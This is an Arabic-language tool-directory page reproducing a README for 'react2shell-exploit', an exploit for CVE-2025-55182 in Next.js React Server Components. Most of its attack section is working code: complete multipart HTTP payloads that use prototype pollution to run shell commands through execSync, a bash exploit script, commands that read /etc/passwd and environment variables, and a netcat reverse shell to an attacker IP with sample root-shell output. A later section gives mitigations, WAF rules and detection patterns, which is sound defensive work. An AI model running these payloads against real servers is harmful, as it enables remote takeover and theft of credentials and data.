Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
react2shell-exploit — CVE-2025-55182، المعروفة أيضًا باسم React2Shell، هي ثغرة أمنية حرجة تؤثر على تطبيقات Next.js التي تستخدم React Server Components (RSC) وServer Actions. | Kitploit
أدوات/GitHubGitHub/yannisduvignau/react2shell-exploit
الاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأداة الوصول عن بعدتطوير الحمولات
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182، المعروفة أيضًا باسم React2Shell، هي ثغرة أمنية حرجة تؤثر على تطبيقات Next.js التي تستخدم React Server Components (RSC) وServer Actions.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

CVE-2025-55182 – React2Shell

تنفيذ الأوامر عن بُعد في Next.js

⚠️ إخلاء مسؤولية: هذه الوثائق مقدمة لأغراض تعليمية وبحوث أمنية فقط. أي استخدام غير مصرح به لهذه التقنيات ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني.


📋 جدول المحتويات

  1. نظرة عامة
  2. كيف يعمل
  3. التثبيت والإعداد
  4. الاستغلال خطوة بخطوة
  5. النتائج والتأثير
  6. استراتيجيات التخفيف

نظرة عامة

CVE-2025-55182، المعروف أيضاً باسم React2Shell، هو ثغرة أمنية حرجة تؤثر على تطبيقات Next.js التي تستخدم:

  • مكونات React Server Components (RSC)
  • Server Actions

لماذا هو خطير؟

يمكن للمهاجم تحقيق تنفيذ الأوامر عن بُعد (RCE) على الخادم من خلال استغلال:

  1. إلغاء التسلسل غير الآمن لحمولات RSC
  2. تلوث النموذج الأولي عبر __proto__ وconstructor
  3. مسارات تنفيذ ديناميكية في بيئة تشغيل خادم Next.js

النتيجة: يمكن تنفيذ أوامر نظام تعسفية بصلاحيات عملية Node.js.


كيف يعمل

المرحلة 1: بروتوكول RSC في Next.js

يستخدم Next.js بروتوكول multipart/form-data مملوكاً للتواصل بين العميل والخادم:

  • يرسل العميل React Server Components إلى الخادم
  • يقوم الخادم بإلغاء تسلسلها ومعالجتها
  • تُعاد النتيجة إلى العميل
root@kitploit:~
Client (Browser)
    ↓
[multipart/form-data RSC payload]
    ↓
Next.js Server
    ↓
Deserialization + Execution
    ↓
Response

المرحلة 2: موطن الضعف - إلغاء التسلسل غير الآمن

توجد الثغرة للأسباب التالية:

  1. لا يتم التحقق من البيانات التي يتحكم بها المستخدم قبل إلغاء التسلسل
  2. يُسمح بالوصول إلى سلسلة النموذج الأولي (__proto__, constructor)
  3. يتم تقييم حقول معينة ديناميكياً أثناء معالجة الطلب

المرحلة 3: هجوم تلوث النموذج الأولي

يمكن للمهاجم صياغة حمولة تعدل خصائص الكائنات الداخلية:

root@kitploit:~
{
  "then": "$1:__proto__:then",  // Targets the prototype chain
  "_response": {
    "_prefix": "malicious code here"  // Code injection
  }
}

من خلال استغلال __proto__، يلوث المهاجم النموذج الأولي لكائنات JavaScript، مما يؤثر على جميع الكائنات التي ترث منه.

المرحلة 4: حقن الأكواد

داخل حقل _prefix، يحقن المهاجم كود JavaScript يقوم بـ:

  1. الوصول إلى وحدة Node.js عبر process.mainModule.require()
  2. تحميل وحدة child_process
  3. تنفيذ أوامر النظام باستخدام execSync()
root@kitploit:~
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

المرحلة 5: استخراج النتيجة

تكون نتيجة الأمر مخفية في استجابة الخطأ:

root@kitploit:~
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

يعيد Next.js هذا الخطأ إلى العميل، ويكون ناتج الأمر مرئياً في حقل digest.


التثبيت والإعداد

المتطلبات الأساسية

  • Node.js 20
  • Burp Suite (أو أداة مشابهة لاعتراض الطلبات)
  • curl أو Postman (لإرسال الحمولات)

الخطوة 1: استنساخ وتثبيت الخادم الضعيف

root@kitploit:~
# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Install Node.js 20
nvm install 20
nvm use 20

# Install dependencies
cd test-server
npm install

الخطوة 2: تشغيل الخادم

root@kitploit:~
npm run dev

أصبح الخادم الآن متاحاً على:

root@kitploit:~
http://localhost:3000

الخطوة 3: التحقق من تشغيل الخادم

root@kitploit:~
curl http://localhost:3000/

في هذه المرحلة، يتصرف الخادم بشكل طبيعي.


الاستغلال خطوة بخطوة

النهج 1: استخدام Burp Suite (الاعتراض اليدوي)

الخطوة 1: تفعيل الاعتراض

  1. افتح Burp Suite
  2. انتقل إلى علامة التبويب Proxy → Intercept
  3. فعّل Intercept is on
  4. افتح http://localhost:3000/ في متصفحك

الخطوة 2: اعتراض الطلب

سيتم اعتراض طلب GET. أرسله إلى علامة التبويب Repeater:

  1. انقر بزر الماوس الأيمن → Send to Repeater
  2. انتقل إلى علامة التبويب Repeater

الخطوة 3: الاستبدال بالحمولة الخبيثة

استبدل الطلب بالكامل بالحمولة التالية:

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

الخطوة 4: إرسال الطلب

انقر على Send


النهج 2: سكربت استغلال آلي

أنشئ ملف exploit.sh:

root@kitploit:~
#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

اجعله قابلاً للتنفيذ:

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

أمثلة على الأوامر

سرد الملفات والمجلدات

root@kitploit:~
COMMAND="ls -la /"

الحصول على المستخدم الحالي

root@kitploit:~
COMMAND="whoami"

قراءة ملف

root@kitploit:~
COMMAND="cat /etc/passwd"

التحقق من اتصالات الشبكة

root@kitploit:~
COMMAND="netstat -tuln"

الحصول على متغيرات البيئة

root@kitploit:~
COMMAND="env"

الصدفة العكسية (وصول كامل إلى الخادم)

للحصول على وصول تفاعلي كامل للصدفة، استخدم صدفة عكسية.

على جهاز المهاجم: الاستماع للاتصالات

root@kitploit:~
ncat -lvnp 9009

أو باستخدام netcat:

root@kitploit:~
nc -lvnp 9009

على الهدف: إرسال حمولة الصدفة العكسية

عدّل الحمولة بالأمر التالي (استبدل <ATTACKER_IP> بعنوان IP الخاص بك):

root@kitploit:~
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

تصبح الحمولة الكاملة:

root@kitploit:~
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

النتيجة المتوقعة

root@kitploit:~
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin  boot  dev  etc  home  lib  ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

لديك الآن صدفة تفاعلية كاملة على الخادم الهدف.


النتائج والتأثير

استجابة الخادم

عند الاستغلال الناجح:

  1. يستجيب الخادم بـ HTTP 500 Internal Server Error
  2. يحتوي نص الاستجابة على ناتج أمر النظام المنفذ
  3. يُدمج الناتج في حقل digest داخل استجابة الخطأ

مثال على الاستجابة

root@kitploit:~
Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)

التأثيرات المحتملة

  • 🔥 تنفيذ الأوامر عن بُعد بالكامل (RCE)
  • 📂 وصول كامل لنظام الملفات
  • 🔐 سرقة بيانات الاعتماد والأسرار
  • 🚨 حركة جانبية داخل الشبكات الداخلية
  • 💥 اختراق كامل للخادم
  • 🔗 هجمات سلسلة التوريد (إذا استُخدم لاختراق التطبيقات المنشورة)
  • 📊 استخراج البيانات والتلاعب بها

استراتيجيات التخفيف

لمسؤولي الأنظمة

1. تحديث Next.js فوراً

root@kitploit:~
npm install next@latest

تأكد من تشغيل إصدار مُصَحَّح من Next.js. راجع النشرات الأمنية الرسمية.

2. تحقق صارم من حمولات RSC

أضف تحققاً صارماً من حمولات RSC الواردة:

root@kitploit:~
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  // Reject suspicious payloads
  if (request.headers.get('content-type')?.includes('multipart/form-data')) {
    const bodyString = request.body?.toString() || '';
    
    // Block payloads containing dangerous patterns
    if (bodyString.includes('__proto__') || 
        bodyString.includes('constructor') ||
        bodyString.includes('child_process')) {
      console.error(`[SECURITY] Malicious payload attempt from ${request.ip}`);
      return new NextResponse('Forbidden', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: ['/:path*']
};

3. تعطيل Server Actions إذا لم تكن مطلوبة

في next.config.js:

root@kitploit:~
module.exports = {
  experimental: {
    serverActions: {
      enabled: false // Disable if not needed
    }
  }
};

4. تشغيل Node.js بأقل الصلاحيات

root@kitploit:~
# Create a dedicated user
useradd -r -s /bin/false nextjs

# Run the service under this user
sudo -u nextjs node server.js

# Or with systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js

5. عزل الحاويات مع تقليل القدرات

استخدم Docker مع قدرات مقيدة:

root@kitploit:~
FROM node:20-alpine

# Create non-root user
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001

WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

COPY . .

USER nextjs

EXPOSE 3000
CMD ["node", "server.js"]

شغّل الحاوية مع قدرات مقيدة:

root@kitploit:~
docker run \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  -u nextjs:nextjs \
  --security-opt=no-new-privileges \
  --read-only \
  --tmpfs /tmp \
  my-nextjs-app

6. مراقبة الطلبات المشبوهة

نفّذ تسجيلاً شاملاً:

root@kitploit:~
// Custom logging middleware
app.use((req, res, next) => {
  // Log all POST requests with Next-Action header
  if (req.method === 'POST' && req.headers['next-action']) {
    const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
    const bodyString = JSON.stringify(req.body);
    
    const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
    
    if (isSuspicious) {
      console.error(`[SECURITY_ALERT] Exploit attempt detected from ${req.ip}`);
      console.error(`[SECURITY_ALERT] User-Agent: ${req.get('user-agent')}`);
      console.error(`[SECURITY_ALERT] Payload: ${bodyString.substring(0, 500)}`);
      
      // Alert security team
      // sendSecurityAlert(`Exploit attempt from ${req.ip}`);
      
      return res.status(403).json({ error: 'Forbidden' });
    }
  }
  
  next();
});

7. نشر جدار حماية لتطبيقات الويب (WAF)

قم بتكوين WAF الخاص بك لمنع:

قواعد ModSecurity:

root@kitploit:~
# Block __proto__ in request body
SecRule REQUEST_BODY "@contains __proto__" \
  "id:1001,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"

# Block constructor in request body
SecRule REQUEST_BODY "@contains constructor" \
  "id:1002,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"

# Block child_process module access
SecRule REQUEST_BODY "@contains child_process" \
  "id:1003,phase:2,deny,status:403,msg:'Code Execution Attempt'"

# Block execSync function
SecRule REQUEST_BODY "@contains execSync" \
  "id:1004,phase:2,deny,status:403,msg:'Code Execution Attempt'"

# Block require() statements
SecRule REQUEST_BODY "@rx require\s*\(" \
  "id:1005,phase:2,deny,status:403,msg:'Module Loading Attempt'"

مثال AWS WAF:

root@kitploit:~
{
  "Name": "BlockRCEAttempts",
  "Rules": [
    {
      "Name": "BlockProtoPolluton",
      "Priority": 1,
      "Statement": {
        "ByteMatchStatement": {
          "FieldToMatch": { "Body": {} },
          "TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
          "PositionalConstraint": "CONTAINS",
          "SearchString": "__proto__"
        }
      },
      "Action": { "Block": {} },
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "BlockProtoPolluton"
      }
    }
  ]
}

8. ترويسات سياسة أمان المحتوى (CSP)

بينما تحمي CSP بشكل أساسي جانب العميل، فهي ممارسة جيدة:

root@kitploit:~
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});

9. تدقيقات أمنية منتظمة

root@kitploit:~
# Scan dependencies for vulnerabilities
npm audit
npm audit fix

# Use snyk for continuous monitoring
snyk monitor

# Regular penetration testing
# Schedule quarterly security assessments

10. خطة الاستجابة للحوادث

إذا اشتبهت في حدوث استغلال:

root@kitploit:~
# 1. Check logs for suspicious patterns
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/

# 2. Check process history
ps aux | grep node
history | grep -E "(nc|ncat|bash)"

# 3. Check network connections
netstat -tuln
lsof -i -P -n

# 4. Isolate the affected system
sudo iptables -I INPUT -j DROP

# 5. Preserve evidence and logs
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/

# 6. Notify your security team and apply patches

الغوص التقني العميق

تحليل الحمولة

root@kitploit:~
{
  // Step 1: Target the prototype chain
  "then": "$1:__proto__:then",
  
  // Step 2: Mark as resolved model
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  
  // Step 3: Inject code through _response
  "_response": {
    // The injected JavaScript code
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    
    // Reference to form data
    "_chunks": "$Q2",
    
    // Access constructor through form data
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

لماذا ينجح هذا؟

  1. تحليل multipart: يحلل Next.js بيانات multipart form data
  2. حل المراجع: تُحل المراجع مثل $1 إلى حقول نموذج أخرى
  3. إعادة بناء الكائنات: تُعاد بناء الكائنات من البيانات المحللة
  4. تلوث النموذج الأولي: يعدل مسار __proto__ النموذج الأولي للكائن
  5. تنفيذ الأكواد: يُقيَّم حقل _prefix أثناء معالجة الأخطاء
  6. تنفيذ الأوامر: يشغّل execSync الأمر التعسفي
  7. استخراج النتيجة: يُدمج الناتج في digest الخطأ

موارد إضافية

  • الإثبات الأصلي للمفهوم PoC: https://github.com/msanft/CVE-2025-55182/
  • توثيق أمان Next.js: https://nextjs.org/docs/security
  • تلوث النموذج الأولي - OWASP: https://owasp.org/www-community/attacks/Prototype_pollution
  • أفضل ممارسات أمان Node.js: https://nodejs.org/en/docs/guides/security/
  • CWE-502: إلغاء تسلسل البيانات غير الموثوقة: https://cwe.mitre.org/data/definitions/502.html

الخلاصة

CVE-2025-55182 (React2Shell) تُظهر مخاطر حرجة مرتبطة بـ:

✅ إلغاء التسلسل غير الآمن للبيانات التي يتحكم بها المستخدم ✅ تلوث النموذج الأولي في سلاسل النماذج الأولية في JavaScript ✅ تنفيذ الأكواد الديناميكي دون تحقق مناسب

تعزز هذه الثغرة أهمية:

  • 🔒 التحقق من المدخلات: لا تثق أبداً بمدخلات المستخدم
  • 🛡️ الدفاع المتعمق: استخدم طبقات حماية متعددة
  • ⚠️ إبقاء الأطر محدثة: طبق التصحيحات الأمنية فوراً
  • 🔍 المراقبة والتسجيل: اكتشف السلوك المشبوه
  • 🔐 مبدأ الصلاحيات الأقل: شغّل الخدمات بأقل الصلاحيات
  • 🧪 الاختبار الأمني المنتظم: أجرِ التدقيقات واختبارات الاختراق

الترخيص: للاستخدام التعليمي فقط - الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني.

لأغراض البحث الأمني المشروع والاختبار المصرح به، تأكد من حصولك على إذن كتابي من مالك النظام قبل إجراء أي اختبارات.

تنزيل الأداة